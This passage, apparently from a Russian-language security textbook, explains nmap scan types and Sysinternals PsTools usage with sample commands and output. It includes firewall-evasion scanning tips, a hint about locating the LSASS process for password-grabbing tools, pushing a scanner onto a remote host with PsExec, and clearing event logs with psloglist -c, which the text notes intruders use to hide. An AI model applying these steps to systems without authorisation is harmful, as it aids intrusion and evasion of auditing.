Однако, поскольку мы посылаем его прежде, чем соединение было установлено, открытый порт должен игнорировать такой мусор. Закрытый порт по-прежнему будет отвечать пакетом RST, как это показано в следующей таблице. Nmap предлагает два способа мусорного сканирования: Xmas tree (-sX) (рождественское) сканирование (которое устанавливает FIN, URG, и PUSH флаги TCP-пакета, расцвечивая его подобно новогодней елке) и null-сканирование (-sN) (которое выключает все флаги, подобно тому, как это делает hping по умолчанию). Поскольку мы совершаем некоторые манипуляции с пакетами на низком уровне, то такое сканирование также требует полномочий пользователя root. Имейте в виду, что не все стеки TCP/IP реализованы корректно. Даже притом, что открытые порты не посылают RST-пакеты в ответ на такие виды проверок, некоторые стеки TCP/IP не следуют этим правилам и посылают ответ в любом случае. Это означает, что вы можете ошибочно сделать положительное предположение при использовании такого сканирования для некоторых типов хостов. Также любой хост, защищенный брандмауэром, может вернуть ложный ответ. Nmap предполагает, что порт открыт, если не получает ничего в ответ. Что если брандмауэр блокирует этот ответ? Такое сканирование более скрытое, но оно и менее аккуратное.

Nmap посылает на порт хостаNmap получает от порта хостаNmap принимает решение
FINNothingПорт открыт, если хост работает и не защищен брандмауэром.
FINRSTПорт закрыт; хост работает.
Иногда nmap может сообщить вам, что порт подвергается фильтрации. Это означает, что влияние брандмауэра или фильтра накладывается на возможность nmap точно определить, открыт или закрыт порт. Некоторые брандмауэры, тем не менее, могут только фильтровать входящие соединения (это означает, что они просматривают только входящие SYN-пакеты на конкретном порту). Если вы хотите проверить правила брандмауэра, запустите ACK-сканирование для хоста, находящегося за брандмауэром. Всякий раз, как ACK-пакет (подтверждение) посылается не как часть существующего соединения, принимающая сторона предположительно посылает пакет RST.


Сканирование ACK (-sA) может использовать этот факт для определения, осуществляется ли блокирование или фильтрация порта. Если получен пакет RST, порт не фильтруется; в противном случае, осуществляется фильтрация, как это показано в следующей таблице. Именно сканирование ACK может показать вам, что конкретный хост защищен брандмауэром.

Nmap посылает на порт хостаNmap получает от порта хостаNmap принимает решение
ACKRSTПорт не защищен брандмауэром; порт может быть открыт или закрыт; хост работает.
ACKNothing or ICMP unreachableПорт блокирован брандмауэром и хост работает.
Поскольку такое сканирование не может сказать, закрыт ли на самом деле порт или открыт, возможно, вы захотите использовать другие виды сканирования в комбинации с ACK-сканированием. Например, вы можете использовать ACK-сканирование в комбинации с SYN-сканированием (-sS), чтобы определить, что хост защищен брандмауэром, который использует полную проверку пакетов или только проверку входящих соединений (SYN-флаг). В следующем примере используется SYN сканирование только 80 порта, открытого на машине 192.168.1.40. Там также сообщается, что порты 21 и 22 фильтруются и nmap не может определить их статус. ACK-сканирование сообщает нам, что все порты на машине открыты, в то время как SYN-сканирование говорит о том, что производится фильтрация! Это означает, что SSH и FTP на машине 192.168.1.40 подвергаются фильтрации с использованием неполной схемы; поскольку SYN-пакеты блокируются, а ACK - пропускаются.

# nmap -sS 192.168.1.40

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.1.40): (The 1546 ports scanned but not shown below are in state: closed) Port State Service 21/tcp filtered ftp 22/tcp filtered ssh 80/tcp open http Nmap run completed - 1 IP address (1 host up) scanned in 8 seconds # nmap -sA 192.168.1.40

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) All 1549 scanned ports on (192.168.1.40) are: Unfiltered

Nmap run completed - 1 IP address (1 host up) scanned in 7 seconds

Помните, как мы использовали hping в лекции "Системные средства с открытым программным кодом: основы" для подмены исходящего IP-адреса, сканирующего порты и, тем не менее, получали результат? Nmap позволяет вам сделать нечто подобное, применяя Idle-сканирование (-sI). Для этого необходимо найти хост, который не пропускает никакого трафика и имеет TCP/IP-стек с известным IP ID-инкрементом (например, Windows всегда использует 256). За подробной информацией о таком сканировании обращайтесь к примеру использования hping в лекции "Системные средства с открытым программным кодом: основы".


Сканирование UDP-портов


Естественно, nmap это тоже делает. Используя флаг -sU, можно посылать пустые UDP-пакеты и ожидать в ответ ICMP-сообщения "port unreachable". Если не получено никаких сообщений в ответ, порт считается открытым, как это показано в следующей таблице. Здесь вы можете видеть несколько возможных ошибок. Если возвращаемые ICMP-сообщения блокируются брандмауэром, это может означать, что все UDP-порты хоста открыты. Также, если UDP-трафик непосредственно блокируется брандмауэром, это по-прежнему означает, что все UDP-порты открыты. Эта та же ловушка, в которую мы попадали, используя Netcat в процессе сканирования UDP-портов. Вдобавок, многие хосты могут посылать наружу только ограниченное число ICMP-сообщений об ошибках в секунду для предотвращения перегрузки сети. Nmap может автоматически корректировать эту ситуацию, если она определяется, но это может очень сильно замедлить сканирование. Поскольку UDP-протокол работает без установления соединения и не ограничен необходимостью подтверждения получения входящих пакетов, нет полного решения этой проблемы.

Nmap посылает на порт хостаNmap получает от порта хостаNmap принимает решение
Пустой UDP пакетNothingВозможно, порт открыт, если хост отвечает на Ping (хост работает); возможно, порт закрыт, если брандмауэр блокирует ICMP.
Пустой UDP пакетICMP порт недоступенПорт закрыт.
Примечание. Nmap по умолчанию пытается послать Ping хосту перед тем, как начать его сканировать. Это особенно важно для правильной интерпретации результатов UDP-сканирования. Если nmap не может послать Ping хосту (или потому, что хост блокирован брандмауэром, или вы отключили такую возможность, вручную используя флаг -P0), он не сможет получить правильные результаты.



SuperScan


SuperScan представляет собой еще одно средство сканирования с графическим интерфейсом пользователя. В отличие от NetScanTools, это свободно распространяемая программа, и ее можно получить в Foundstone Security Consultants по адресу http://www.foundstone.com/knowledge/free_tools.html.



Сводная информация о параметрах командной строки


В нашей дискуссии об использовании nmap мы уже рассмотрели большое количество параметров командной строки. Коротко рассмотрим еще несколько параметров, о которых мы еще не упоминали. В списке ниже приводится информация об этих параметрах.

-P0 -PT -PS -PI -PB. Перед тем как сканировать другие порты, протоколы nmap всегда пытаются осуществить проверку хоста с помощью команды Ping. Такое тестирование не занимает много времени для неработающих хостов. Но многие хосты и брандмауэры блокируют ICMP Ping-трафик, поэтому необходимо иметь возможность управления тем, какую политику тестирования использовать, чтобы определить статус хоста. -P0 указывает на необходимость отменить использование Ping - использовать только слепое сканирование.-PT указывает на необходимость использования протокола TCP (с использованием telnet по 80 порту, если у вас нет полномочий суперпользователя или ACK-сканирования по 80 порту, если такие полномочия имеются). Задав число после параметра -PT, можно задать для сканирования номер порта, отличный от 80.-PS посылает SYN-пакеты (также в случае наличия полномочий суперпользователя).-PI определяет немедленное проведение тестирования ICMP Ping.-PB по умолчанию осуществляет попытку тестирования с использованием и ICMP и TCP Ping.

-v -d. Параметр -v задает расширенный вывод, параметр -d добавляет отладочную информацию. Вы можете использовать оба параметра для получения расширенной и отладочной информации одновременно.-oN -oM -oS <logfile>. Для большинства программ при просмотре информации на экране и пересылке в файл вы можете использовать Unix-команду tee. Nmap предоставляет возможность ведения журнала сканирования: -oN осуществляет запись в журнал всякий раз после появления ее на экране в удобном для чтения формате. Обычно используется при сканировании нескольких машин;-oM осуществляет вывод в файл в машинно-читаемом формате (который может быть вновь интерпретирован с использованием Nmap);-oS выводит информацию в "script kiddie" виде - может быть неудобочитаем.


-resume logfile. Если вы прервали сканирование, но при этом осуществляли запись в машинно-читаемый или удобный для чтения человеком формат, то можете продолжить сканирование, задав в качестве входного параметра журнал сканирования.-iR -iL inputfile. Используя параметр -iR, вы можете генерировать номера хостов для сканирования случайным образом (если это вам удобно), или считывать номера хостов из файла, содержащего имена хостов или IP-адреса, разделенные пробелом, табуляцией или идущие с новой строки.-F. Указывает nmap на необходимость сканирования только "известных" (описанных в файле nmap-services) портов. Без этого параметра nmap сканирует порты с номерами от 1 до 1024 и любые другие порты, которые включены в файл nmap-services (или в файле /etc/services). Если для сканирования протоколов используется параметр -sO, nmap вместо последовательного сканирования всех 256 протоколов использует встроенный файл протоколов (Nmap-protocols).-p ports. Разумеется, если вы хотите указать конкретные порты для сканирования, то с помощью значения <ports> можно определить единственный порт, список портов, заданный через запятую, или интервал портов, заданный через тире, или использовать любую из возможных комбинаций. Если этот параметр не определен, то осуществляется быстрое сканирование первых 1024 портов (см. описание параметра -F).-e interface. Для хоста с несколькими сетевыми адресами вы можете определить, какой из сетевых интерфейсов используется для связи. Обычно nmap самостоятельно обрабатывает такую ситуацию.-g port. Позволяет выбрать порт - источник, с которого будет осуществляться сканирование. Обычно эта возможность используется для скрытия сканирования от брандмауэров, которые разрешают входящий трафик от портов TCP/20 (предназначенного для данных ftp), TCP/80 (предназначенного для Web-трафика) или UDP/53 (предназначенного для работы DNS).


TCP Reverse Ident Scanning


Если на удаленном хосте, который вы сканируете, выполняется программа identd, которая по умолчанию прослушивает 113 порт, nmap попытается найти информацию о пользователях, выполняющих определенные процессы. Identd может сообщить вам такую информацию, позволив тем самым найти серверы, запущенные с полномочиями пользователя root. Переполнение буфера на уязвимой службе - достойная плата за запуск программы с такими полномочиями. Воспользуйтесь флагом -I, чтобы задействовать такой тип сканирования.

bash-2.04$ nmap -I 192.168.1.210

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.1.210): (The 1535 ports scanned but not shown below are in state: closed)

Port State Service Owner 21/tcp open ftp root 22/tcp open ssh root 23/tcp open telnet root 80/tcp open http nobody 111/tcp open sunrpc bin 113/tcp open auth nobody 512/tcp open exec root 513/tcp open login root 514/tcp open shell root 884/tcp open unknown root 889/tcp open unknown root 1024/tcp open kdm bjohnson 1032/tcp open iad3 bjohnson 6000/tcp open X11 root

Nmap run completed - 1 IP address (1 host up) scanned in 3 seconds

Мы обнаружили несколько сервисов, выполняющихся с полномочиями пользователя root, включая ftp и telnet. Далее мы можем соединиться напрямую с этими портами, чтобы определить версии соответствующего программного обеспечения и вновь проверить их с точки зрения известных прорех в безопасности. Уязвимые службы FTP и Telnet на этой машине дают взломщику возможность получить доступ к системе с полномочиями суперпользователя.

Примечание. Поскольку Nmap должен установить соединение со службой identd, чтобы получить эту информацию, флаг -I невозможно использовать в режиме скрытого сканирования.



UDP_SCAN


Udp_scan - часть старой программы SATAN. Это UDP-сканер для Unix, выполняющийся из командной строки. Он может быть загружен отдельно от SATAN вместе с таким же tcp-сканером tcp_scan по адресу ftp://ftp.porcupine.org/pub/security/port-scan.tar.gz. Udp_scan, как и другие TCP-сканеры для Unix, называемые индикаторами, имеет все требуемые функции, но был отодвинут на задний план более новыми программами.



Установка


Как и большинство Unix-программ, udp_scan поставляется в исходных кодах. После загрузки и распаковки архива port-scan.tar.gz вам потребуется войти в директорию с исходными текстами и выполнить команду make.

Примечание. Пользователям Linux потребуется выполнить команду make CFLAGS=-D_BSD_SOURCE для сборки программы.



WUPS


Поскольку FScan и nmap осуществляют TCP- и UDP-сканирование и работают на всех платформах, мы лишь упомянем еще о двух сканерах, которые могут работать с протоколом UDP. В начале мы рассмотрим Windows UDP-сканер WUPS. Этот сканер можно загрузить по адресу http://ntsecurity.nu/toolbox/wups/.



ENUM


Enum получает от исследуемых Windows NT-, 2000- или XP-систем информацию о пользователях, группах, общих ресурсах и базовую системную информацию. Один из главных аспектов enum состоит в том, что он поставляется в исходных кодах. Так что если вы обнаружите сбои в работе, вы можете воспользоваться собственной копией книжки Строустропа по C++ и открыть enum.cpp в редакторе vi. Файл доступен по адресу http://razor.bindview.com/tools/desc/enum_readme.html.



Инструментальные средства обеспечения безопасности


GetUserInfo - одна из утилит набора "joeware", созданных Джо Ричардсом (http://www.joeware.net/). Эта коллекция включает в себя несколько утилит, составляющих набор инструментов для администраторов, которым действительно требуется залезть внутрь Windows.



PsExec


PsExec считается наиболее распространенной утилитой из набора PsTools. Она выполняет команды на удаленном компьютере, а также загружает программу на удаленную систему, если ее там нет. В отличие от других средств удаленного выполнения, таких как Windows-версии Unix-команды rexec, с помощью PsExec вам не надо устанавливать дополнительные динамические библиотеки или специальные серверные приложения. Однако вы должны иметь доступ к общему ресурсу ADMIN$ и полномочия для использования этого средства в сети.

PsExec понимает, что вы хотите выполнять команду на удаленном компьютере, поэтому аргумент ComputerName обязателен (вы всегда можете определить параметры -u и -p, чтобы задать имя пользователя и пароль).

C:\>psexec.exe \\192.168.0.43 cmd /c dir

Убедитесь в правильности ввода полного имени команды. По умолчанию PsExec выполняет команды из директории %SYSTEMROOT%\System32. Ниже приведено несколько примеров.

C:\>psexec.exe \\192.168.0.43 ipconfig /all C:\>psexec.exe \\192.168.0.43 net use * \\10.2.13.61\backups Rch!ve /u:backup C:\>psexec.exe \\192.168.0.43 c:\cygwin\usr\sbin\sshd

Если название программы или дорожка содержат пробелы, то они должны вводиться в двойных кавычках. Если программа отсутствует на компьютере, используйте параметр -c (или -f). Тем самым вы скопируете копию программы с вашего компьютера в директорию \\ComputerName's \System32 другой машины. Параметр -f дает возможность перезаписать файл, если такой уже существует. Приведенный пример помещает программу fscan, сканер портов, выполняемый из командной строки, на компьютер, и затем запускает его на сканирование сети класса C.

C:\>psexec.exe \\192.168.0.43 -c fscan.exe -q -bp1-10001 -o targets.txt 192.168.0.1-192.168.0.255

Можно использовать параметр -c для загрузки полного набора утилит на удаленную машину.

Последние три параметра управляют удаленным процессом. Для отсоединения от процесса и выполнения его в фоновом режиме используйте параметр -d (аналогично демо-режиму в Unix). Используйте параметр -s для запуска команды на системном уровне. Параметр -i дает возможность интерактивного взаимодействия с программой: с FTP или другими командами, которые требуют ввода пароля.



PsFile


PsFile дает возможность получить список файлов на хосте, которые используются другим хостом. Эта утилита зеркально воспроизводит встроенную команду net file. Программа используется для отладки общего доступа к файлам и контроля неавторизованного доступа к файлам. Ниже приводится сокращенный вывод.

C:\>psfile.exe Files opened remotely on GOBLYNSWOOD: [23] D:\downloads\VMware-license-linux.txt User: ORC Locks: 0 Access: Read C:\>net file ID Path User name # Locks ------------------------------------------------------------------------------------------- 23 D:\downloads\VMware-license-linux.txt ORC 0 The command completed successfully.

Можно сказать, что пользователь ORC просматривает лицензионную информацию нашего приложения VMware. Эта программа не может дать сведений, откуда пользователь осуществляет доступ. Это работа для netstat. Что общего между двумя этими командами? Параметр -c работает точно так же, как и параметр /close программы net file. Он закрывает соединение, основанное на идентификаторе пользователя ID (отмечено жирным шрифтом в предыдущем примере).

C:\>psfile.exe 23 -c Closed file D:\downloads\VMware-license-linux.txt on GOBLYN.

Кажется, нет никакого преимущества по сравнению с утилитой net. Однако каждая утилита из набора PSTools работает поверх удаленного соединения. Использование аналогично с добавлением полномочий пользователя в командной строке.

C:\>psfile.exe \\192.168.0.176 -u Administrator -p IM!secure Files opened remotely on 192.168.0.176: [32] \PIPE\srvsvc User: ADMINISTRATOR Locks: 0 Access: Read Write

Если вы запустите программу psfile для хоста localhost и зададите его IP-адрес, то увидите, что он открывает соединение со службой server.

Примечание. Каждая утилита PsTool принимает в командной строке последовательность \\RemoteHost -u UserName -p password, даже если в справке (/h) ничего об этом не говорится.



PsGetSid


Переименование пользователя Administrator в "TeflonBilly" неплохо, но недостаточно для реальной безопасности. С использованием PsGetSid, любой, кто может установить NULL-соединение может получить строку, называемую "секретный идентификатор SID" (Security Identifier) для конкретного пользователя. Заключительная часть этой строки содержит относительный идентификатор RID (Relative Identifier). Для пользователя с правами администратора, независимо от его имени, RID всегда равен 500 - практически, как у пользователя root в Unix, этот параметр всегда равен 0. Для гостевого профиля этот параметр всегда равен 501. Эти два RID-идентификатора никогда не изменяются.

C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure Orc SID for 192.168.0.176\\Orc: S-1-5-21-1454471165-484763869-1708537768-501 Совет. Когда вы ищите пользователя "Administrator", всегда проверяйте, что у профиля есть строка SID, которая заканчивается на -500. В противном случае, знайте, что профиль был переименован.

Запрос идентификатора SID не может быть адресован для конкретного пользователя. PsGetSid может перечислить другие объекты, такие как компьютеры или группы пользователей.

C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure goblynswood SID for 192.168.0.176\\goblynswood: S-1-5-21-1454471165-484763869-1708537768 C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure "Power Users" SID for 192.168.0.176\\goblynswood: S-1-5-32-547

Сам по себе этот тип информации обычно не используется, но вместе со значениями RID-пользователей, полученных из ASM-файлов, эти данные покрывают существенную часть структуры аутентификации домена.



PsInfo


Операционная система, продолжительность непрерывной работы (основанная на анализе системного журнала), корневая директория системы, дата инсталляции и т.д. и т.п. - данные, всегда вызывающие интерес. Не думайте о PsInfo, как о бесполезном инструменте. Эта программа возвращает полезную информацию о системе. И помните, она делает это удаленно!

C:\>Psinfo.exe System information for \\GOBLYNSWOOD: Uptime: 8 days, 2 hours, 59 minutes, 9 seconds Kernel version: Microsoft Windows 2000, Uniprocessor Free Product type: Professional Product version: 5.0 Service pack: 2 Kernel build number: 2195 Registered organization: twilight conclave Registered owner: mps Install date: 1/2/2001, 3:03:03 PM System root: E:\WINNT Processors: 1 Processor speed: 1.0 GHz Processor type: x86 Family 6 Model 8 Stepping 10, GenuineIntel Physical memory: 320 MB HotFixes: Q147222: No Description Q252795: Windows 2000 Hotfix (Pre-SP3) [See Q252795 for more information] Q276471: Windows 2000 Hotfix (Pre-SP3) [See Q276471 for more information] Q285156: Windows 2000 Hotfix (Pre-SP3) [See Q285156 for more information] Q285851: Windows 2000 Hotfix (Pre-SP3) [See Q285851 for more information] Q295688: No Description Q296185: Windows 2000 Hotfix (Pre-SP3) [See Q296185 for more information] Q298012: Windows 2000 Hotfix (Pre-SP3) [See Q298012 for more information] Q299553: Windows 2000 Hotfix (Pre-SP3) [See Q299553 for more information] Q299796: Windows 2000 Hotfix (Pre-SP3) [See Q299796 for more information] Q302755: Windows 2000 Hotfix (Pre-SP3) [See Q302755 for more information] Q314147: Windows 2000 Hotfix (Pre-SP3) [See Q314147 for more information] SP2SRP1: Windows 2000 Security Rollup Package [See Q311401 for more information]

PsInfo предоставляет быстрый способ для проверки ваших серверов на предмет последних обновлений. Если у вас работает IIS, вы должны трепетно относиться к последним обновлениям и заплаткам. PsInfo получает информацию о последних обновлениях из настроек HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix системного реестра, поэтому некоторые заплатки приложений могут быть не внесены в этот список.

Использование командного файла упрощает ревизию системы.

C:\>for /L %i in (1,1,254) do psinfo \\192.168.0.%i > systeminfo_192.168.0.%i.txt

Обратите внимание, что мы обошли полномочия аутентификации. Если вы собираетесь создать пакетный файл, который требует доступа к удаленной системе, не помещайте имя пользователя и пароль в командный файл. Вместо этого запустите пакетный файл в контексте пользователя домена с полномочиями для ревизии этой информации. Проблема, с которой вы можете столкнуться, состоит в сложности доступа к системам, которые не являются частью домена.

Совет. PsInfo - фантастическое средство для управления конфигурацией. Мало других систем дают информацию об обновлениях по удаленному запросу.



PsKill и PsSuspend


Получив список процессов, вы можете уничтожить (или подвесить) процесс. Программа PsKill принимает в качестве аргумента или имя процесса или его идентификатор. Если вы точно знаете идентификатор PID, вам может понадобиться использовать PsKill совместно с PsList. С другой стороны, задав процесс по имени, можно удалить больше процессов, чем вы рассчитывали. Оба метода чувствительны к такому типу уязвимости, как "oops" - ошибка в значении PID и случайное удаление ошибочно введенного процесса.

C:\>pslist.exe | findstr /i notepad notepad 1764 8 1 30 1728 0:00:00.020 0:00:00.020 0:00:07.400 notepad 1044 8 1 30 1724 0:00:00.020 0:00:00.020 0:00:05.077 notepad 1796 8 1 30 1724 0:00:00.010 0:00:00.020 0:00:03.835 C:\>pskill.exe 1764 process #1764 killed C:\>pskill.exe notepad 2 processes named notepad killed.

Внимание. Будьте бдительны, удаляя процесс по имени. PsKill выбирает все процессы, а не только тот, который встретится первым. Эффект, сходный с использованием регулярного выражения, вроде звездочки (*).

PsSuspend работает аналогично. Задайте имя процесса или ID после имени команды, чтобы приостановить процесс.

C:\>pssuspend.exe 1116 Process 1116 suspended.

Используйте параметр -r для возобновления работы процесса.

C:\>pssuspend.exe -r 1116 Process 1116 resumed. Примечание. Помните, что эти утилиты работают удаленно, но они требуют пользовательской аутентификации. Открытый порт NetBIOS не открывает всей системы. Однако существует проблема, связанная с открытым NetBIOS-портом и пустым паролем администратора (мы могли это прекрасно видеть). Используйте PsTools для аудита вашей сети.



PsList


PsList отображает список процессов на локальной или удаленной машине. Параметры -d, -m и -x отображают информацию о нитях, памяти и соответственно, комбинацию этих двух параметров. Однако можно использовать просто pslist.

C:\>pslist.exe Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time Idle 0 0 1 0 16 0:00:00.000 3:57:29.219 0:00:00.000 System 8 8 39 319 216 0:00:00.000 0:00:11.536 0:00:00.000 SMSS 152 11 6 33 560 0:00:00.210 0:00:00.741 4:27:11.031 CSRSS 180 13 10 494 3560 0:00:00.650 0:01:30.890 4:26:59.084 WINLOGON 200 13 17 364 3256 0:00:00.230 0:00:01.081 4:26:55.879 SERVICES 228 9 30 561 5640 0:00:01.542 0:00:03.535 4:26:48.058 LSASS 240 9 14 307 520 0:00:00.260 0:00:00.230 4:26:48.028 svchost 420 8 9 333 3748 0:00:00.150 0:00:00.150 4:26:41.839 spoolsv 452 8 12 166 3920 0:00:00.070 0:00:00.160 4:26:41.088

Вы также можете получить информацию о конкретном процессе по имени или идентификатору ID, обратившись к нему в командной строке. Например, чтобы увидеть, сколько ресурсов пожирает Internet Explorer, попытайтесь выполнить следующее.

C:\pslist.exe iexplore Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time IEXPLORE 636 8 17 805 26884 0:00:14.711 0:00:17.154 4:38:27.694 IEXPLORE 1100 8 28 1054 27980 0:00:24.375 0:00:40.888 4:36:25.388 Совет. Некоторые утилиты захвата паролей требуют знания идентификатора процесса ID (PID) программы LSASS. PsList - великолепный способ узнать его.

Параметры -s и -r могут пригодиться для мониторинга важных серверов или отладки. Параметр -s переводит PsList в режим диспетчера задач. Другими словами, он обеспечивает непрерывное обновление до тех пор, пока вы не нажмете Esc - практически, как для команды top в Unix. Параметр -r устанавливает время обновления в секундах. Например, вы можете осуществлять мониторинг процесса IIS на Web-сервере каждые 10 секунд.

C:\>pslist.exe -s -r 10 inetinfo.exe

Параметр -t отображает каждый процесс и его нить в формате дерева, упрощая визуализацию взаимосвязи процессов в системе.
Ниже представлен сокращенный вывод, который отображает системные нити.

C:\>pslist.exe -t Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd VM WS Priv Idle 0 0 1 0 0 16 0 System 8 8 39 323 1668 216 24 SMSS 152 11 6 33 5248 560 1072 CSRSS 180 13 10 502 22700 3576 1512 WINLOGON 200 13 17 364 35812 3252 5596 SERVICES 228 9 31 563 33748 5652 2772 svchost 420 8 9 333 22624 3748 1528 MDM 1420 8 3 96 25996 2640 924 Avsynmgr 556 8 4 139 28024 2708 1460 VSStat 896 8 2 112 26376 2664 1376 vshwin32 956 8 7 219 54220 6468 3908 WebScanX 1036 8 3 194 40020 6052 4628 Avconsol 976 8 2 112 28500 2640 1484 svchost 592 8 33 449 43592 8084 3364 LSASS 240 9 14 307 28080 864 2344 explorer 1200 8 17 468 99580 4460 11912


PsLoggedOn


PsTools не заподозришь в запутанном соглашении об именовании. PsLoggedOn отображает пользователей, которые работают в системе, неважно, соединившись с помощью консоли, используя файлы или другим удаленным методом.

C:\>psloggedon.exe Users logged on locally: Unknown NT AUTHORITY\LOCAL SERVICE Unknown NT AUTHORITY\NETWORK SERVICE 3/10/2002 11:23:49 AM GOBLYNSWOOD\pyretta Unknown NT AUTHORITY\SYSTEM Users logged on via resource shares: 3/12/2002 12:04:12 AM (null)\ORC

Список пользователей, соединившихся с системой общими ресурсами, может быть особенно интересен для администраторов. Можно управлять задачами, которые проверяют чувствительные системы, такие как контроллеры доменов, Web-серверы или базы данных финансового департамента. Вы можете понадеяться на журнал системных событий, но злонамеренные пользователи могут его уничтожить.

Предполагая перспективу атак, будет предусмотрительно перехватывать атаки по переполнению буфера.



PsLogList


Журнал системных событий содержит богатейшую информацию о состоянии системы, статусе служб и безопасности. К сожалению, неуклюжесть средств просмотра журнала обычно подталкивает администратора к краткому аудиту журнала событий. В отличие от мира Unix, где большинство системных журналов представлено в текстовом формате, журнал Windows представляет собой двоичную головоломку. Появление программы PsLogList открыло две возможности: журнал может быть преобразован в текстовый формат и разобран в таблицу другого формата, и журналы могут быть получены удаленно для консолидации, резервирования и сохранения их содержания.

PsLogList отображает содержимое журнала в расширенном или консолидированном форматах, с запятыми вместо разделителя полей. По умолчанию PsLogList выводит информацию в расширенном варианте.

C:\>psloglist.exe System log on \\GOBLYNSWOOD: [16554] Dhcp Type: WARNING Computer: GOBLYNSWOOD Time: 3/11/2002 11:01:28 PM ID: 1003 Your computer was not able to renew its address from the network (from the DHCP Server) for the Network Card with network address 00047644DFBF.The following error occurred: The semaphore timeout period has expired. Your computer will continue to try and obtain an address on its own from the network address (DHCP) server.

Вывод в формате с разделителями производится, если воспользоваться параметром -s. Как обычно, пример сокращен для удобства.

C:\>psloglist.exe -s System log on \\GOBLYNSWOOD: 16554,System,Dhcp,WARNING,GOBLYNSWOOD,Mon Mar 11 23:01:28 2002,1003,None,... 16553,System,Application Popup,INFORMATION,GOBLYNSWOOD,Mon Mar 11...

Можно просмотреть любой из трех журналов (системных событий, приложений или безопасности).

C:\>psloglist.exe -s security Security log on \\GOBLYNSWOOD: 14308,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:49:35 2002,538,Orc\GOBLYNSWOOD,orcGOBLYNSWOOD(0x0,0x119382)3 14307,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:32:00 2002,538,Administrator\GOBLYNSWOOD,AdministratorGOBLYNSWOOD(0x0,0x119513)3


Параметр - f дает возможность фильтровать сообщения о событиях пятью способами: Warning (w), Information (i), Errors (e), Audit Success и Audit Failure. (Символы в скобках представляют собой сокращения, которые воспринимает PsLogList на входе). Два способа аудита применимы только для анализа журнала безопасности и должны вводиться в кавычках.

C:\>psloglist.exe -s -f "Audit Success" Security Security_successes.log

Используйте PsLogList для помощи в управлении вашей политикой сетевого аудита. Хотя эта программа не может переключить установки журнала событий, используйте программу для координации журналов и создания ежедневных, еженедельных или ежемесячных отчетов о своей сети. Надлежащий просмотр журнала поможет не только определить подозрительных пользователей, но и обеспечит управление состоянием сети.

В заключение еще одно замечание: параметр -c очищает системный журнал после того, как он сброшен в текстовый файл. Используйте этот параметр с осторожностью, поскольку вы можете неумышленно очистить системный журнал до того, как сделана его резервная копия.

C:\>psloglist.exe -c Application ...output truncated... Application event log on GOBLYNSWOOD cleared. C:\psloglist.exe Application Application log on \\GOBLYNSWOOD: No records in Application event log on GOBLYNSWOOD. Примечание. Взломщик может использовать параметр -c, чтобы очистить журнал и тем самым скрыть свое присутствие.

Параметры -a и -b позволяют получить информацию о событиях, происшедших после или до заданной даты, введенной в формате мм/дд/гг. Ниже приведен образец того, как запросить информацию о событиях, относящихся к системе безопасности за предыдущую дату (02/09/02 - текущий день).

C:\>psloglist.exe -a 02/08/02 -b 02/09/02 Security

PsLogList читает журнал в двоичном формате из любой системы. Введите перед именем файла параметр -l. PsLogList определит тип системного журнала (события, безопасность, система).

C:\>psloglist.exe -l Security.evt


PsService


Это сильное средство для обеспечения удаленного просмотра и манипуляции службами. Команды Windows net start и net stop трепещут в присутствии PsService. Без параметров командной строки PsService возвращает список служб, установленных в системе. Следующий урезанный для краткости вывод содержит полную информацию о двух службах.

C:\>psservice.exe SERVICE_NAME: inetd DISPLAY_NAME: CYGWIN inetd (null) TYPE : 10 WIN32_OWN_PROCESS STATE : 1 STOPPED (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 1077 (0x435) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 SERVICE_NAME: SharedAccess DISPLAY_NAME: Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS) Provides network address translation, addressing, name resolution and/or intrusion prevention services for a home or small office network. TYPE : 20 WIN32_SHARE_PROCESS STATE : 4 RUNNING (STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0

Информация о службах, независимо от того, работает служба или нет, показывает роль системы, установленное программное обеспечение поддержания безопасности и, возможно, относительное значение для сети. Сервер, который осуществляет резервное копирование PDC, имеет запущенную службу резервирования и почтовый сервер, который, возможно, содержит выполняющийся сервер для защиты от вирусов. К тому же, PsService обеспечивает возможность управления службами. Задайте одну из следующих команд для манипуляции службой.

C:\>psservice.exe /? PsService v1.01 - local and remote services viewer/controller Copyright (C) 2001 Mark Russinovich Sysinternals - www.sysinternals.com PsService lists or controls services on a local or remote Win2K/NT system. Usage: psservice.exe [\\Computer [-u Username [-p Password]]] cmd optns Cmd is one of the following: query Queries the status of a service config Queries the configuration start Starts a service stop Stops a service restart Stops and then restarts a service pause Pauses a service cont Continues a paused service depend Enumerates the services that depend on the one specified find Searches for an instance of a service on the network


После команды задайте имя службы, для которой следует получить результат. Например, здесь представлено, как запустить IIS на удаленном компьютере (предполагая, что вы вошли в домен как администратор).

C:\>psservice.exe \\192.168.0.39 start w3svc

Вы можете также запустить, перезагрузить, приостановить и продолжить работу службы. Команда config слегка отличается от команды query, которая обеспечивает получение информации при запуске PsService без параметров. Команда config возвращает информацию о службах, которые работают на самом деле.

C:\>psservice.exe config inetd SERVICE_NAME: inetd (null) TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : d:\cygwin\usr\sbin\inetd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : CYGWIN inetd DEPENDENCIES : SERVICE_START_NAME : LocalSystem

